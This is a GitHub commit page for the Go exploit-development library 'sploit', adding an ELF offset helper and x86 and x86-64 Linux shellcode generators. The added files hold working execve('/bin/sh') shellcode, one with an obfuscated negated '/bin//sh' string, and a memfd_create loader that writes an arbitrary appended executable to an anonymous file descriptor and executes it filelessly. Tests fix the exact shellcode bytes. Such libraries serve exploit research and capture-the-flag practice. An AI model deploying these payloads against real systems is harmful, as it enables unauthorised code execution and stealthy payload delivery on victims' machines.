Skip to content

Commit

Permalink
Merge pull request #25 from zznop/23-shellcode
Browse files Browse the repository at this point in the history
Initial intel shellcode implementations
  • Loading branch information
Brandon Miller authored Dec 30, 2020
2 parents 08da5a6 + dd88cf1 commit 6c990a9
Show file tree
Hide file tree
Showing 6 changed files with 238 additions and 0 deletions.
1 change: 1 addition & 0 deletions .travis.yml
Original file line number Diff line number Diff line change
Expand Up @@ -39,3 +39,4 @@ script:
- go test -v -run TestUnpackUint64BE
- go test -v -run TestUnpackUint32BE
- go test -v -run TestUnpackUint16BE
- go test -v -run TestX8664LinuxShell
15 changes: 15 additions & 0 deletions elf.go
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,21 @@ func NewELF(filename string) (*ELF, error) {
}, nil
}

// OffsetToVA determines the virtual address for the specified file offset
func (e *ELF) OffsetToAddr(offset uint64) (uint64, error) {
for i := 0; i < len(e.E.Progs); i++ {
s := e.E.Progs[i]
start := s.Off
end := s.Off + s.Filesz

if offset >= start && offset < end {
return offset - s.Off + s.Vaddr, nil
}
}

return 0, errors.New("Offset is not in range of an ELF segment")
}

// BSS is an ELF method that returns the virtual address of the specified offset into the .bss section
func (e *ELF) BSS(offset uint64) (uint64, error) {
section := e.E.Section(".bss")
Expand Down
37 changes: 37 additions & 0 deletions shellcode/i386.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
package shellcode

import (
sp "github.com/zznop/sploit"
)

// I386 is a shellcode interface for 32-bit intel processors
type I386 struct {
arch *sp.Processor
}

// NewI386 returns a pointer to a I386 type
func NewI386() *I386 {
arch := &sp.Processor{
Architecture: sp.ArchI386,
Endian: sp.LittleEndian,
}

return &I386{
arch: arch,
}
}

// LinuxShell is a method for JIT compiling shellcode that executes /bin/sh
func (i386 *I386) LinuxShell() ([]byte, error) {
instrs := `
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80
`
return sp.Asm(i386.arch, instrs)
}
22 changes: 22 additions & 0 deletions shellcode/i386_test.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
package shellcode

import (
"bytes"
"testing"
)

func TestI386LinuxShell(t *testing.T) {
i386 := NewI386()
shellcode, err := i386.LinuxShell()
if err != nil {
t.Fatal(err)
}

scBytes := []byte{0x31, 0xc9, 0xf7, 0xe1, 0x51, 0x68, 0x2f, 0x2f,
0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89,
0xe3, 0xb0, 0x0b, 0xcd, 0x80}

if bytes.Compare(shellcode, scBytes) != 0 {
t.Fatal("Shellcode bytes != expected")
}
}
122 changes: 122 additions & 0 deletions shellcode/x8664.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
package shellcode

import (
"bytes"
sp "github.com/zznop/sploit"
)

// X8664 is a shellcode interface for 64-bit intel processors
type X8664 struct {
arch *sp.Processor
}

// NewX8664 returns a pointer to a shellcode X8664 type
func NewX8664() *X8664 {
arch := &sp.Processor{
Architecture: sp.ArchX8664,
Endian: sp.LittleEndian,
}

return &X8664{
arch: arch,
}
}

// LinuxMemFdExec constructs a payload to run the supplied executable in an anonymous file descriptor
func (x8664 *X8664) LinuxMemFdExec(payload []byte) ([]byte, error) {
instrs := `
jmp past
executable_size: .quad 0x4141414141414141 /* fixed up with size of executable */
fd_name: .byte 0 /* emtpy file descriptor name */
fd_path: .ascii "/proc/self/fd/\0\0\0\0\0" /* path to file descriptor for exec call */
past:
mov rax, 319 /* __NR_memfd_create syscall num */
lea rdi, [rip+fd_name] /* ptr to empty file descriptor name */
mov rsi, 1 /* MFD_CLOEXEC (close file descriptor on exec) */
syscall /* create anonymous fd */
test rax, rax /* good file descriptor? */
js done /* return if bad file descriptor */
mov rdi, rax /* file descriptor (arg_0) */
mov rax, 1 /* __NR_write */
lea rsi, [rip+executable] /* pointer to executable base (arg_1) */
mov rdx, qword [rip+executable_size] /* load size of executable into rdx (arg_2) */
syscall /* write the executable to the fd */
cmp rax, rdx /* did everything get written successfully? */
jnz done /* fail out if all bytes were not written */
call fixup_fd_path /* fixup the fd path string by converting the fd to a str */
mov rax, 59 /* execve syscall num */
lea rdi, [rip+fd_path] /* filename */
xor rcx, rcx /* zeroize rcx (terminator for argv) */
push rcx /* push 0 to stack */
push rdi /* push address of fd path to the stack */
mov rsi, rsp /* argv (address of fd path, null) */
xor rdx, rdx /* envp = NULL */
syscall /* call execve (won't return if successful) */
add rsp, 16 /* restore the stack */
done:
ret /* return */
/*
* fixup the fd path string with the file descrpitor -
* basically sprintf(foo, "/proc/self/fd/%i", fd)
*/
fixup_fd_path:
mov rax, rdi /* number to be converted */
mov rcx, 10 /* divisor */
xor bx, bx /* count digits */
.divide:
xor rdx, rdx /* high part = 0 */
div rcx /* rcx = rcx:rax/rcx, rdx = remainder */
push dx /* dx is a digit in range [0..9] */
inc bx /* count digits */
test rax, rax /* rax is 0? */
jnz .divide /* no, continue */
/* pop digits from stack in reverse order */
mov cx, bx /* number of digits */
lea rsi, [rip+fd_path] /* rsi points to fd path string buffer */
add rsi, 14 /* start of location to write the fd (as a string) */
.next_digit:
pop ax
add al, '0' /* convert to ASCII */
mov [rsi], al /* write it to the buffer */
inc si
loop .next_digit
ret
/* appended script or ELF executable */
executable:
`
unconfigured, err := sp.Asm(x8664.arch, instrs)
if err != nil {
return nil, err
}

size := sp.PackUint64LE(uint64(len(payload)))
configured := bytes.Replace(unconfigured, []byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41}, size, 1)
configured = append(configured, payload...)
return configured, nil
}

// LinuxShell is a method for JIT compiling x86-64 shellcode that executes /bin/sh
func (x8664 *X8664) LinuxShell() ([]byte, error) {
instrs := `
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
`
return sp.Asm(x8664.arch, instrs)
}
41 changes: 41 additions & 0 deletions shellcode/x8664_test.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
package shellcode

import (
"bytes"
"testing"
)

func TestX8664MemFdExec(t *testing.T) {
payload := `
#/bin/bash
echo "Hello from memfd_create exec sploit shellcode" > ./success.txt
`

x8664 := NewX8664()
shellcode, err := x8664.LinuxMemFdExec([]byte(payload))
if err != nil {
t.Fatal(err)
}

if len(shellcode) != 263 {
t.Fatal("Shellcode size != 263")
}
}

func TestX8664LinuxShell(t *testing.T) {
x8664 := NewX8664()
shellcode, err := x8664.LinuxShell()
if err != nil {
t.Fatal(err)
}

scBytes := []byte{0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91,
0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53,
0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0,
0x3b, 0x0f, 0x05}

if bytes.Compare(shellcode, scBytes) != 0 {
t.Fatal("Shellcode bytes != expected")
}
}

0 comments on commit 6c990a9

Please sign in to comment.